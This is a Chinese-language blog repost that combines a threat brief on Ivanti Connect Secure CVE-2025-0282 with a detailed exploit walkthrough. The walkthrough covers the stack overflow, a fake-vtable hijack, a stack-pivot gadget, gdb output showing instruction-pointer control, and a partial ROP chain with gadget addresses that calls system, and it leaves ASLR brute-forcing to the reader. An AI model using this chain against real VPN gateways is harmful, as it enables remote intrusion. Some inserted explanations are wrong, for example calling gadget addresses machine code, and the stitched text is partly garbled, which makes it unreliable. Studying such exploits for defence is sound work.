概述
2025年1月8日,Ivanti为其 Connect Secure、Policy Secure 和 ZTA 网关产品发布了安全公告,涉及两个漏洞(CVE-2025-0282 和 CVE-2025-0283)。该威胁简报提供了我们在最近的事件响应过程中观察到的攻击详细信息,以向社区提供可操作的情报。这些详细信息可用于进一步检测使用 CVE-2025-0282 执行的当前攻击。
这些 Ivanti 产品都是促进网络远程连接的设备。因此,它们是攻击者可能针对的面向外部的资产,以渗透网络。
CVE-2025-0282 是 Ivanti Connect Secure 之前版本(22.7R2.5 以下版本)、Ivanti Policy Secure 之前版本(22.7R1.2 以下版本)和 Ivanti Neurons for ZTA 网关之前版本(22.7R2.3 以下版本)的堆栈溢出漏洞,这允许远程未认证攻击者实现远程代码执行。此漏洞已被分配了 9.0 的严重 CVSS 分数。
CVE-2025-0283 是 Ivanti Connect Secure 之前版本(22.7R2.5 以下版本)、Ivanti Policy Secure 之前版本(22.7R1.2 以下版本)和 Ivanti Neurons for ZTA 网关之前版本(22.7R2.3 以下版本)的堆栈溢出漏洞,这允许本地认证攻击者提升其权限。此漏洞已被分配了 7.0 的较高 CVSS 分数。
在 Ivanti 的公告发布当天,Mandiant 揭示了使用 CVE-2025-0282 远程代码执行漏洞的野外攻击发现。
1月10日,Watchtowr Labs 也分析了已利用的漏洞。1月12日,Watchtowr 提供了漏洞的详细操作流程,1月16日发布了概念验证(PoC)。
Palo Alto Networks 客户在以下产品和服务中可以获得 CVE-2025-0282 和 CVE-2025-0283 的保护和缓解措施:
-
Advanced WildFire
-
Advanced URL Filtering
-
Advanced DNS Security
-
Cortex Xpanse 可以识别暴露在公共互联网上的 Connect Secure、Policy Secure 和 ZTA 网关产品,并将这些发现提升给防御者。
Palo Alto Networks 还建议根据其安全公告中的描述,应用受影响 Ivanti 设备的适当更新。
Unit 42 事件响应团队也可以协助处理网络入侵或提供主动评估以降低风险。
漏洞分析
以下分析基于反编译的代码,代码来源于运行版本为 22.7R2.3 的 Ivanti Connect Secure 设备。漏洞具体位于二进制文件/home/bin/web
中,该文件负责处理所有传入的 HTTP 请求和 VPN 协议(包括 IFT TLS),这是 Ivanti Connect Secure 设备的重要组件。
此前我们发现,如果攻击者发送的clientCapabilities
块超过 256 字节,会溢出到其他栈变量,最终覆盖返回地址,从而实现远程代码执行(RCE)。
如你所记得(如果不记得这里重复说明),我们发现 Ivanti 开发人员在处理clientCapabilities
时使用了strncpy
,而不是不安全的strcpy
,但他们错误地将输入字符串的大小作为大小限制传递,而不是目标缓冲区的大小。
从下面的反编译代码输出可以看到,dest
缓冲区被定义为 256 字节大小。在第 22 行,clientCapabilities
参数的值被提取;第 25 行计算了该值的长度;第 31 行将其复制到dest
缓冲区。
这最终揭示了我们正在寻找的漏洞关键点,并允许进行越界写入操作。
以下是对这段代码的分析和解释:
函数签名
int __cdecl ift_handle_1(int a1, IftTlsHeader *a2, char *a3)
-
a1
: 表示某个指针,可能是与 TLS 会话或连接相关的上下文对象。 -
a2
: 是指向IftTlsHeader
结构的指针,可能与 TLS 协议头部解析相关。 -
a3
: 表示某个字符串或数据缓冲区的指针。
局部变量
char dest[256];
-
一个 256 字节的栈缓冲区,用于存储字符串数据。
char object_to_be_freed[4];
void *ptr;
-
用于动态分配或释放的对象及指针。
int v18, v19, v20, v21, v22;
char v23, v24;
void *v25;
_DWORD v26[499];
-
其他用于存储临时数据、状态或指针的变量。
功能步骤分析
-
获取
clientCapabilities
clientCapabilities = getKey(req, "clientCapabilities");
if ( clientCapabilities != NULL )
{
clientCapabilitiesLength = strlen(clientCapabilities);
if ( clientCapabilitiesLength != 0 )
connInfo->clientCapabilities = clientCapabilities;
}
-
使用
getKey
函数从请求对象中提取"clientCapabilities"
参数。-
如果参数不为
NULL
且长度不为 0,则将其存储到连接信息connInfo
中。 -
潜在问题:
clientCapabilities
的长度没有被验证,可能导致溢出问题。
-
-
处理
dest
缓冲区
memset(dest, 0, sizeof(dest));
strncpy(dest, connInfo->clientCapabilities, clientCapabilitiesLength);
-
将
dest
初始化为全零。-
使用
strncpy
将clientCapabilities
的内容复制到dest
缓冲区。 -
潜在问题:
-
如果
clientCapabilitiesLength
大于256
,则会导致越界写入。 -
strncpy
并不会在目标缓冲区末尾自动追加\0
,可能引发后续问题。
-
-
-
后续处理
v24 = 46;
v25 = &v57;
if ( ((unsigned __int8)&v57 & 2) != 0 )
{
LOBYTE(v24) = 44;
v57 = 0;
v25 = (__int16 *)&v58;
}
memset(v25, 0, 4 * (v24 >> 2));
v26 = &v25[2 * (v24 >> 2)];
if ( (v24 & 2) != 0 )
*v26 = 0;
-
这些代码似乎在调整某些内存指针,可能与缓冲区对齐和清零相关。
-
操作较为复杂,具体作用取决于
v57
和v58
的上下文定义。
-
-
调用函数和释放资源
(*(void (__cdecl **)(int, __int16 *))(*(_DWORD *)a1 + 0x48))(a1, &v22);
isValid = 1;
EPMessage::~EPMessage((EPMessage *)v18);
DSUtilMemPool::~DSUtilMemPool((DSUtilMemPool *)object_to_be_freed);
return isValid;
-
执行指针调用函数,可能是某种回调或连接清理函数。
-
释放消息和内存池对象,确保资源回收。
-
漏洞分析
-
核心问题:
strncpy
的使用-
由于
clientCapabilitiesLength
未被限制,strncpy
有可能导致目标缓冲区dest
的越界写入。 -
这是典型的栈溢出漏洞,攻击者可以利用它覆盖返回地址或其他关键变量,从而实现控制流劫持。
-
-
潜在后果
-
如果攻击者能够构造一个恶意的
clientCapabilities
,就可以通过溢出覆盖返回地址并执行任意代码。
-
修复建议
-
对输入长度进行验证
if (clientCapabilitiesLength > sizeof(dest) - 1)
clientCapabilitiesLength = sizeof(dest) - 1;
-
在复制数据前,确保
clientCapabilitiesLength
不超过目标缓冲区dest
的大小。
-
使用安全函数
snprintf(dest, sizeof(dest), "%s", clientCapabilities);
-
使用更安全的字符串操作函数,例如
snprintf
。
-
加强输入检查
-
验证
clientCapabilities
的来源和内容,确保其长度和格式符合预期。
-
既然我们已经讲解了这一部分,想必你们已经在心里想:“好吧,但栈布局到底是怎样的?”
栈布局
我们已经将栈布局展示给你们了。我们有dest
缓冲区和许多其他变量,如你所见——其中还包括我们存储的返回地址。
在正常且较为简单的情况下,你可以通过越界写入漏洞写入足够的数据来覆盖这个返回地址——这也更容易实现,因为栈保护(栈金丝雀)并没有启用——从而控制我们的指令指针。
然而,生活并不总是如此简单,我们面临着一个问题:
+---------------------+
| v18 (int) |
+---------------------+
| v19 (int) |
+---------------------+
| dest[256] | <- 256 bytes
+---------------------+
| object_to_be_freed | <- 4 bytes
+---------------------+
| ptr (void *) |
+---------------------+
| v20 (int) |
+---------------------+
| v21 (int) |
+---------------------+
| v22 (int) |
+---------------------+
| v23 (char) |
+---------------------+
| v24 (char) |
+---------------------+
| v25 (void *) |
+---------------------+
| v26[499] | <- 499 DWORDs (4 bytes each)
+---------------------+
| Return Address |
+---------------------+
| int a1 |
+---------------------+
| IftTlsHeader *a2 |
+---------------------+
我们面临的问题是:
在函数返回之前(即覆盖的返回地址被使用之前),有一段代码会被执行。
然而,这段代码会使用栈中dest
缓冲区之后的object_to_be_freed
变量。由于这个对象在函数返回前被销毁,free()
函数会因为无效地址而抛出异常。
让我们聚焦于之前代码的一小部分。以下代码在函数返回之前被执行。问题在于,object_to_be_freed
变量位于栈中dest
缓冲区之后,而由于这个对象在返回之前被销毁,free()
函数因此抛出异常。
以下是对应的(反编译后)代码:
代码解析
51: isValid = 1;
52: EPMessage::~EPMessage((EPMessage *)v18);
53: DSUtilMemPool::~DSUtilMemPool((DSUtilMemPool *)object_to_be_freed);
54: return isValid;
逐行解释
51:isValid = 1;
-
变量
isValid
被设置为 1,表示函数的返回值(通常是成功的标志)。 -
这表明此时函数逻辑已接近结束,准备返回。
52:EPMessage::~EPMessage((EPMessage *)v18);
-
调用
EPMessage
对象的析构函数,销毁v18
指向的对象。 -
v18
是一个指向EPMessage
类型对象的指针。 -
析构函数通常用于释放对象内部分配的资源,比如内存、文件描述符等。
53:DSUtilMemPool::~DSUtilMemPool((DSUtilMemPool *)object_to_be_freed);
-
调用
DSUtilMemPool
对象的析构函数,销毁object_to_be_freed
指向的对象。 -
object_to_be_freed
是一个动态分配的资源或内存池的指针。 -
析构函数尝试释放与对象相关联的资源,可能使用了
free()
来释放内存。
54:return isValid;
-
函数返回
isValid
值,表示执行结果。 -
由于
isValid
在第 51 行被设置为 1,返回值通常为成功状态。
问题分析
object_to_be_freed
的问题
-
位置:
object_to_be_freed
位于栈中dest
缓冲区之后。 -
破坏性:如果之前的缓冲区溢出导致
object_to_be_freed
的地址被篡改,调用析构函数时,free()
会尝试释放一个无效地址。 -
结果:
free()
函数抛出异常(如 Segmentation Fault 或 Invalid Free 错误),导致程序崩溃。
如何触发问题
-
缓冲区溢出
-
如果攻击者通过
dest
缓冲区的越界写入覆盖了object_to_be_freed
的内容或地址,就会导致指针指向无效区域。
-
-
销毁对象时出错
-
当析构函数尝试释放伪造或无效的
object_to_be_freed
,free()
会抛出异常,导致程序无法正常返回。
-
解决方案
-
防止缓冲区溢出
if (clientCapabilitiesLength > sizeof(dest) - 1) {
clientCapabilitiesLength = sizeof(dest) - 1;
-
在写入
dest
缓冲区时,验证输入长度:
}
```
-
检查指针有效性
if (object_to_be_freed != NULL) {
DSUtilMemPool::~DSUtilMemPool((DSUtilMemPool *)object_to_be_freed);
-
在调用析构函数前,验证
object_to_be_freed
是否为有效指针:
}
```
这给我们带来了一个直接的问题,当试图进行实际利用时——我们无法触发 `ret` 指令,除非我们能提供一个有效的地址。
令人意外的是,这里启用了完全的 ASLR 和 PIE,因此会变得非常棘手。那么,如果还有其他方法呢?
虚表!虚表!虚表!
好吧,让我们再次仔细查看反编译的代码——但这次,我们将关注在触发所需的返回之前执行的另一段反编译代码。
代码分析
48: (*(void (__cdecl **)(int, __int16 *))(*(_DWORD *)a1 + 0x48))(a1, &v22);
49:
50:
51: isValid = 1;
52: EPMessage::~EPMessage((EPMessage *)v18);
53: DSUtilMemPool::~DSUtilMemPool((DSUtilMemPool *)object_to_be_freed);
54: return isValid;
解释
-
第48行
(*(void (__cdecl **)(int, __int16 *))(*(_DWORD *)a1 + 0x48))(a1, &v22);
-
这行代码通过虚表(VTable)调用一个函数指针。
-
a1
是一个指针,假设是某种对象的起始地址。 -
(_DWORD *)a1
表示将a1
强制转换为DWORD
类型的指针(在 x86 上是 4 字节)。 -
(*(_DWORD *)a1 + 0x48)
表示取出对象的虚表指针,然后偏移 0x48(可能是第 18 个虚函数)。 -
(*(void (__cdecl **)(int, __int16 *)))
将偏移位置的值解释为一个函数指针,函数接受两个参数:一个int
和一个__int16 *
。 -
最后
(a1, &v22)
表示用参数调用该函数。
-
-
第49行
空行,用于分隔代码块,可能是为了视觉清晰度。 -
第50行
空行,同样为了视觉分隔。 -
第51行
isValid = 1;
-
将变量
isValid
设置为1
,通常表示验证通过或某种成功状态。
-
第52行
EPMessage::~EPMessage((EPMessage *)v18);
-
调用
EPMessage
对象的析构函数。-
(EPMessage *)v18
将v18
转换为EPMessage
类型的指针。 -
EPMessage::~EPMessage
是析构函数的符号。
-
-
第53行
DSUtilMemPool::~DSUtilMemPool((DSUtilMemPool *)object_to_be_freed);
-
调用
DSUtilMemPool
的析构函数。-
(DSUtilMemPool *)object_to_be_freed
将object_to_be_freed
转换为DSUtilMemPool
类型的指针。 -
用于释放动态分配的内存或清理资源。
-
-
第54行
return isValid;
-
返回
isValid
的值(通常是 1),表明整个过程执行成功。
以下是执行该函数调用的反汇编。
在此过程中,eax
被填充为堆栈上存储的指针,然后解引用该指针并更新eax
。
最后,再次解引用eax + 0x48
以计算要调用的函数地址。
mov eax, [esp+0A0Ch+arg_0]
mov eax, [eax]
mov [esp+0A0Ch+src], edx
mov edx, [esp+0A0Ch+arg_0]
mov [esp+0A0Ch+n], 2Eh ; '.' ; int
mov [esp+0A0Ch+var_A0C], edx
call dword ptr [eax+48h]
-
mov eax, [esp+0A0Ch+arg_0]
这段代码将内存地址esp + 0A0Ch + arg_0
的值加载到寄存器eax
中。-
esp
:栈指针 -
arg_0
:函数或过程中的第一个参数偏移值。
-
-
mov eax, [eax]
这段代码将存储在eax
中的地址加载为值。即,从eax
地址处读取一个值,并将其赋值给eax
。 -
mov [esp+0A0Ch+src], edx
这段代码将寄存器edx
的值存储到内存地址esp + 0A0Ch + src
中。 -
mov edx, [esp+0A0Ch+arg_0]
这段代码从内存地址esp + 0A0Ch + arg_0
读取一个值,并将其赋值给edx
。 -
mov [esp+0A0Ch+n], 2Eh
这段代码将2Eh
(即ASCII码的.
)赋值到内存地址esp + 0A0Ch + n
。 -
mov [esp+0A0Ch+var_A0C], edx
这段代码将寄存器edx
的值存储到内存地址esp + 0A0Ch + var_A0C
中。 -
call dword ptr [eax+48h]
这段代码调用一个函数,函数地址存储在eax+48h
的位置。调用的是dword
(即4字节)对齐的函数地址。
总的来说,这段代码涉及内存操作、寄存器间的传递,以及调用一个间接函数。
这种使用eax
寄存器的方式在 C++ 中常见,特别是在涉及this
指针时。具体来说,访问this
指针指向的值并添加一定的偏移量,表明虚表(vtable)正在被使用来调用虚拟函数。
希望下面这幅手绘的图表能更清晰地展示这一过程:
Memory Layout:
+--------------------------+
| *this Pointer |
+--------------------------+
|
v
+--------------------------+
| vtable Address | <- Points to the vtable
+--------------------------+
|
v
+--------------------------+
| vtable (Virtual Table) | <- Array of pointers to virtual functions
+--------------------------+
| *Function[0x04] |
+--------------------------+
| *Function[0x08] |
+--------------------------+
| *Function[0x0C] |
+--------------------------+
| ... |
+--------------------------+
| *Function[0x48] | <- Points to a sequence of x86 instructions
+--------------------------+
|
v
+--------------------------+
| Function[0x48] Prologue |
+--------------------------+
| push ebp | <- Save base pointer
+--------------------------+
| mov ebp, esp | <- Set base pointer
+--------------------------+
| sub esp, 0x20 | <- Allocate stack space
+--------------------------+
| ... | <- Additional instructions
+--------------------------+
这副图展示了 C++ 中虚拟函数调用的内存布局过程。以下是图中各部分的解析:
-
*this Pointer
-
*this
是 C++ 中的this
指针,指向调用该对象的实例。
-
-
vtable Address
-
vtable
地址指向对象的虚表(vtable),即一个包含指向虚拟函数的指针数组的地址。
-
-
vtable (Virtual Table)
-
虚表是一个数组,每个元素是一个虚拟函数的地址。数组的每个元素包含指向具体实现的函数的地址。
-
-
*Function[0x04], *Function[0x08], *Function[0x0C], ...
-
每个函数地址表示虚拟函数的实际实现。这些地址指向函数的开始,其中偏移量如
0x04
,0x08
等表示不同函数在虚表中的位置。
-
-
Function[0x48] Prologue
-
具体的虚拟函数
Function[0x48]
在内存中包含了其对应的函数序列。这个函数开始部分包含堆栈处理,例如保存ebp
、设置ebp
、分配堆栈空间等,形成了该函数的基本栈帧。
-
*this
指针实际上存储在栈上,在返回地址之后,以a1
的形式出现,这是我们在利用超出边界的原语时函数的第一个参数。
+---------------------+
| v18 (int) |
+---------------------+
| v19 (int) |
+---------------------+
| dest[256] | <- 256 bytes
+---------------------+
| object_to_be_freed | <- 4 bytes
+---------------------+
| ptr (void *) |
+---------------------+
| v20 (int) |
+---------------------+
| v21 (int) |
+---------------------+
| v22 (int) |
+---------------------+
| v23 (char) |
+---------------------+
| v24 (char) |
+---------------------+
| v25 (void *) |
+---------------------+
| v26[499] | <- 499 DWORDs (4 bytes each)
+---------------------+
| Return Address |
+---------------------+
| int a1 |
+---------------------+
| IftTlsHeader *a2 |
+---------------------+
如果我们超出返回地址,并覆盖this
指针,我们实际上可以控制在对象object_to_be_freed
被销毁之前的执行流程。
Hunting For Our Gadget
尽管我们可以将计划简化为一句话 - 这并不是一件简单的事情。
我们需要伪造一个 vtable - 更具体地说,我们需要一个有效的指针,指向另一个指针,这样当 0x48 被添加时,指针将指向有效的指令,对我们有用 - 即,第一个有用的 gadget。
在找到这个“独角兽”之前,我们需要知道我们实际上在寻找什么?哪些真正对我们有用?
简单来说 - 如果我们能找到一个早期返回的 gadget,并且在此之前不会导致段错误,那么我们可以控制指令指针。
After A Bit Of Time
在时间的力量——神秘、希望和梦想的推动下,我们最终找到了一个符合我们需求的 gadget。
让我们来看一下下一幅图:
Memory Layout:
+--------------------------+
| *fake_this Pointer |
+--------------------------+
|
v
+--------------------------+
| fake_vtable Address | <- Points to the vtable
+--------------------------+
|
v
+--------------------------+
| fake vtable |
+--------------------------+
| *gadget_0[0x48] | <- Points to a sequence of x86 instructions
+--------------------------+
|
v
+--------------------------+
| gadget_0[0x48] |
+--------------------------+
| xor eax, eax | <- Clear EAX register
+--------------------------+
| ret | <- Return to caller
+--------------------------+
这段内存布局描述了一个伪造的内存结构,其目的是利用虚表(vtable)指针伪造和ROP(Return-Oriented Programming)技术控制程序的执行流。以下是图中各部分的详细解释:
-
*fake_this Pointer
-
这是一个伪造的指针,指向
fake_vtable Address
。 -
它模拟了 C++ 类中对象的
this
指针,通常用于访问虚函数表(vtable)。
-
-
fake_vtable Address
-
指向伪造的虚表地址
fake vtable
。 -
在正常的 C++ 程序中,vtable 存储函数指针,用于调用虚函数。这里伪造了这个地址,以劫持程序流程。
-
-
fake vtable
-
伪造的虚表,其中某个偏移量(如 0x48)处的指针被设置为
gadget_0[0x48]
的地址。 -
当程序尝试调用虚函数时,它会通过该地址跳转到一个预定义的代码片段(gadget)。
-
-
*gadget_0[0x48]
-
指向有效的指令序列
gadget_0[0x48]
,是一个符合条件的 ROP gadget。 -
该 gadget 的偏移量和结构设计使其能够在被调用时执行预期操作。
-
-
gadget_0[0x48]
-
包含实际的指令序列,用于利用漏洞执行攻击者想要的操作。
-
xor eax, eax
: 清除寄存器EAX
,将其设置为 0。 -
ret
: 返回到调用者处,可以继续链式调用下一个 gadget,形成一个完整的 ROP 链。
-
简要说明
我们找到了一个fake_this
指针,它指向一个地址,该地址存储了另一个地址。当我们在这个地址上加上0x48
后,它会指向一个 gadget,该 gadget 执行xor eax, eax
,然后是一个ret
。
完美,这样就完成了吗?
并没有,事情从来没那么简单。我们面临另一个问题 —— 当ret
即将执行时,堆栈的状态如下:
gdb> x/10wx $esp
0xff9fa6e0: 0xff9fa800 0x56d7fe10 0x00000d35 0x56767c7f
0xff9fa6f0: 0x00000032 0x5677d44c 0x00000000 0x00000000
0xff9fa700: 0x00000000 0x00000000
命令说明
-
x/10wx $esp
:-
x
: 查看内存内容(examine memory)。 -
/10w
: 查看 10 个单元的内容,每个单元是 4 字节(word)。 -
x
: 按十六进制格式显示数据。 -
$esp
: 从当前栈指针地址(ESP
寄存器值)开始查看。
-
输出解释
0xff9fa6e0: 0xff9fa800 0x56d7fe10 0x00000d35 0x56767c7f
0xff9fa6f0: 0x00000032 0x5677d44c 0x00000000 0x00000000
0xff9fa700: 0x00000000 0x00000000
-
栈的内存布局
-
地址部分(左侧)如
0xff9fa6e0
是当前堆栈内存中的地址,按递增顺序排列。 -
数据部分(右侧)如
0xff9fa800
是存储在这些地址中的值。
-
-
逐行解析
-
0xff9fa6e0
: 栈顶起始地址。其值为0xff9fa800
,可能是下一段栈帧的地址或指针。 -
0x56d7fe10
: 可能是某函数的返回地址(指向代码段)。 -
0x00000d35
和0x56767c7f
: 可能是函数的参数或局部变量。 -
0x00000032
: 一个数字常量或标志值。 -
0x5677d44c
: 可能是另一个代码指针或变量地址。 -
0x00000000
: 通常是未初始化的栈空间。
-
-
堆栈状态总结
-
栈中的数据代表了调用栈的一部分,包含:
-
返回地址
-
参数或局部变量
-
未使用的填充数据
-
-
当ret
指令执行时,它会从当前栈顶(0xff9fa6e0
)弹出一个值(0xff9fa800
)作为返回地址。
问题可能在于:
-
栈内容未正确设置,导致
ret
弹出的地址无效(如跳转到错误位置)。 -
或者当前栈布局需要调整,确保攻击链正确工作。
解决方案可能涉及调整堆栈内容以控制程序流,例如通过精确构造 ROP 链或伪造数据。
这些值都不在我们的控制之中,因此我们期望的ret
将跳转到对我们无用的地方。
Pivot Duck Slide Around The Stack
尽管我们对当前堆栈的状态感到失望,因为它看起来毫无希望,但进一步查看堆栈时却发现了一个令人振奋的迹象。
我们作为初始有效载荷的一部分喷射的字节,准确地出现在$esp+0x120
的位置。
因此,如果我们能够执行堆栈转换(stack pivot),将$esp
指向我们控制的缓冲区,我们就可以提前控制eip
,而无需依赖原始的 IF-T 解析器尾部代码(epilogue)。
gdb> x/100wx $esp
0xff9fa6e0: 0xff9fa800 0x56d7fe10 0x00000d35 0x56767c7f
0xff9fa6f0: 0x00000032 0x5677d44c 0x00000000 0x00000000
0xff9fa700: 0x00000000 0x00000000 0x00000d34 0xff9fa752
0xff9fa710: 0x00001547 0xff9fa728 0x00000000 0xff9fa900
0xff9fa720: 0x00000000 0x00000000 0xff9fa900 0xf7a68490
0xff9fa730: 0xff9fa900 0x00000003 0x00000010 0xff9fa948
0xff9fa740: 0x00000000 0x00000000 0x00000000 0x00000000
0xff9fa750: 0x00000000 0x00000000 0x00000000 0x00000000
0xff9fa760: 0x00000000 0x00000000 0x00000000 0x00000000
0xff9fa770: 0x00000000 0x00000000 0x00000000 0x00000000
0xff9fa780: 0x00000000 0x00000000 0x00000000 0x00000000
0xff9fa790: 0x00000000 0x00000000 0x00000000 0x00000000
0xff9fa7a0: 0x00000000 0x00000000 0x00000000 0x00000000
0xff9fa7b0: 0x00000000 0x00000000 0x00000000 0x00000000
0xff9fa7c0: 0x00000000 0x00000000 0x00000000 0x00000000
0xff9fa7d0: 0x00000000 0x00000000 0x00000000 0x00000000
0xff9fa7e0: 0x00000000 0x00000000 0x00000000 0x00000000
0xff9fa7f0: 0x00000000 0x00000000 0x00000000 0x00000000
0xff9fa800: 0x61616161 0x61616162 0x61616163 0x61616164
0xff9fa810: 0x61616165 0x61616166 0x61616167 0x61616168
0xff9fa820: 0x61616169 0x6161616a 0x6161616b 0x6161616c
0xff9fa830: 0x6161616d 0x6161616e 0x6161616f 0x61616170
0xff9fa840: 0x61616171 0x61616172 0x61616173 0x61616174
0xff9fa850: 0x61616175 0x61616176 0x61616177 0x61616178
0xff9fa860: 0x61616179 0x6261617a 0x62616162 0x62616163
1. 命令解释
-
x
:显示内存内容。 -
/100wx
:表示显示 100 个字 (每个字为 4 字节,w 表示 word) 的数据,并以 16 进制格式(x)显示。 -
$esp
:起始地址为栈指针寄存器(ESP)中保存的地址。
2. 数据内容
每一行的格式如下:
<地址>: <数据1> <数据2> <数据3> <数据4>
-
<地址>
:内存起始地址。 -
<数据1> ~ <数据4>
:从该地址开始连续读取的 4 个 4 字节数据。
3. 内存数据的观察
栈上的数据大致可以分为几个区域:
-
系统或函数返回值区域
-
从
0xff9fa6e0
到0xff9fa740
,主要是 0x56d7fe10、0x5677d44c 等值,可能是函数返回地址、程序计数器或局部变量。 -
0x00000d34
等可能是函数的参数。
-
-
空闲或未使用区域
-
从
0xff9fa740
到0xff9fa7f0
,全是0x00000000
,表示当前没有有效数据,可能是未初始化的局部变量或对齐用的填充数据。
-
-
自定义输入区域
0x61616161 ('aaaa')
-
从
0xff9fa800
开始,出现了一段连续的模式化数据:
0x61616162 ('aaab')
0x61616163 ('aaac')
0x61616164 ('aaad')
```
* 这些是以 `a`开头的 ASCII 字符,紧随其后是增量的变化,通常是程序中人为填充的输入数据。
特别注意:
-
0xff9fa800
开始是可能的缓冲区区域,若数据过多可能造成缓冲区溢出。 -
0x6261617a
到0x62616163
是数据输入中后续部分,表明输入已经超出0xff9fa800
的初始区域。
4. 潜在问题
-
如果这是用于调试栈溢出或缓冲区溢出的场景,可以看到从
0xff9fa800
开始的输入数据已经填满栈内存,可能覆盖了重要的函数返回地址或控制流。 -
若溢出点数据能控制某些关键地址(例如返回地址),攻击者可通过精心构造的输入数据实现任意代码执行。
正如之前所讨论的,我们不能随便使用任何地址作为初始 gadget 的地址——我们需要再次完成整个过程,并找到一个有效的指针,这个指针可以被伪造为一个this
指针,指向一个虚表(vtable)。在这个虚表中,偏移量+0x48
的成员需要同时执行栈迁移(stack pivot)和提前返回(early ret)。
值得庆幸的是,Ivanti 的 web 二进制文件包含了许多库文件。
经过一段时间的查找,并排除那些在执行过程中因为解引用各种寄存器而导致段错误(segfault)的 gadget 后,我们终于发现了一个神奇的选项。
来自“神灵”的 Gadget
我们新发现的这个神奇而闪亮的 gadget 不仅可以执行栈迁移(stack pivot),还能够实现提前返回(early ret),并且其中没有任何会导致早期段错误(segfault)的指令。
简直完美!
Memory Layout:
+--------------------------+
| *fake_this Pointer |
+--------------------------+
|
v
+--------------------------+
| fake_vtable Address | <- Points to the vtable
+--------------------------+
|
v
+--------------------------+
| fake vtable |
+--------------------------+
| *gadget_0[0x48] | <- Points to a sequence of x86 instructions
+--------------------------+
|
v
+--------------------------+
| gadget_0[0x48] |
+--------------------------+
| mov ebx, 0xfffffff0 | <- Load value into EBX
+--------------------------+
| add esp, 0x204C | <- Adjust stack pointer
+--------------------------+
| mov eax, ebx | <- Copy EBX to EAX
+--------------------------+
| pop ebx | <- Restore EBX
+--------------------------+
| pop esi | <- Restore ESI
+--------------------------+
| pop edi | <- Restore EDI
+--------------------------+
| pop ebp | <- Restore EBP
+--------------------------+
| ret | <- Return to caller
+--------------------------+
现在我们已经找到了正确的 gadget,应该可以控制 EIP 寄存器中的值了。
Thread 2.1 "web" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 10799.10799]
0xdeadbeefin ?? ()
(gdb) bt
#0 0xdeadbeef in ?? ()
#1 0x6974000a in ?? ()
#2 0x253a6e6f in ?? ()
#3 0x6f702032 in ?? ()
#4 0x6c207472 in ?? ()
#5 0x3a747369 in ?? ()
#6 0x33252720 in ?? ()
#7 0xff002e27 in ?? ()
#8 0x00000001 in ?? ()
#9 0x00000000 in ?? ()
这段 GDB(GNU 调试器)输出显示了一个进程在运行时发生了SIGSEGV
(段错误)信号。以下是一些解释:
(1) SIGSEGV(Segmentation fault):
-
SIGSEGV
是一种信号,表明程序试图访问无效的内存区域,例如访问一个未初始化或非法的内存地址。 -
这通常是由于程序访问超出了其允许访问的内存范围或使用了无效的指针。
(2)GDB 输出:
-
Thread 2.1 "web" received signal SIGSEGV, Segmentation fault.
:-
说明第 2 个线程,名为
"web"
,在运行时收到SIGSEGV
信号,导致段错误。
-
(3)GDB 堆栈跟踪(Backtrace):
-
#0 0xdeadbeef in ?? ()
:-
这是一个未知的内存地址
0xdeadbeef
,表明段错误可能是由于非法访问或未初始化的内存造成的。
-
-
接下来的栈信息 (
#1
到#9
) 显示了函数调用的堆栈顺序和未知地址的引用。
4. 分析:
-
0xdeadbeef
这种常见的十六进制地址常常出现在未初始化或非法访问的情况下。 -
堆栈中出现的一些其他地址和函数调用,可能是由于内存操作或非法的指针访问引发的问题。
-
除此之外,其他地址和符号是未知的,因此需要进一步调试以确定具体的问题。
ROP n ROLL
让我们看看我们的位置:
我们已经控制了eip
,
ROP 无限制地可行,
堆栈已经在我们期望的位置。
在这种情况下,编写一个可以实现远程代码执行(RCE)的 ROP 链应该是逻辑上很简单的。
mov_eax_esp_ret = p32(0xf29e92c3) # mov eax, esp; ret
add_eax_8_ret = p32(0xf5068858) # add eax, 8; ret;
add_eax_8_ret = p32(0xf5068858) # add eax, 8; ret;
add_eax_8_ret = p32(0xf5068858) # add eax, 8; ret;
add_eax_8_ret = p32(0xf5068858) # add eax, 8; ret;
pop_esi_ret = p32(0xf4f5de27) # pop esi; ret;
esi = p32(0xf5a07d40) # system
set_arg_call_esi = p32(0xf4f5e265) # mov dword ptr [esp], eax; call esi;
这段代码涉及到一个栈溢出攻击中的ROP(重定向执行流程,Return-Oriented Programming)链的构建。以下是每一部分的解释:
(1)mov_eax_esp_ret = p32(0xf29e92c3)
-
mov eax, esp; ret
:这是一个 ROP 段,用来将eax
寄存器的值设置为当前的堆栈指针 (esp
),然后返回。 -
十六进制数
0xf29e92c3
是mov eax, esp
指令的机器码。
(2)add_eax_8_ret = p32(0xf5068858)
-
add eax, 8; ret
:这个 ROP 段将eax
中的值加 8,然后返回。 -
十六进制数
0xf5068858
是对应机器码。
(3)pop_esi_ret = p32(0xf4f5de27)
-
pop esi; ret
:这个 ROP 段将值从堆栈弹出到esi
寄存器中,然后返回。 -
十六进制数
0xf4f5de27
是对应机器码。
(4)esi = p32(0xf5a07d40)
-
esi = p32(0xf5a07d40)
:esi
寄存器的值设置为0xf5a07d40
,这个值通常代表函数地址,例如system
或其他函数。
(5)set_arg_call_esi = p32(0xf4f5e265)
-
mov dword ptr [esp], eax; call esi
:这个 ROP 段将eax
的值存入当前的堆栈中,然后调用esi
指向的函数。 -
十六进制数
0xf4f5e265
是对应机器码
构建漏洞利用
我们已经讨论了漏洞利用的过程以及从技术角度如何进行。
然而,对于希望利用此技术制作自己的漏洞利用的读者,我们有意省略了一些细节,这些细节需要你自己完成。这是有意为之。
你需要:
找到我们讨论过的 gadgets 地址,
编写一个循环来暴力破解 ASLR。由于这是一个 x86 目标,而且 ASLR 仅应用于某些范围,这应该是一个简单的任务。
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)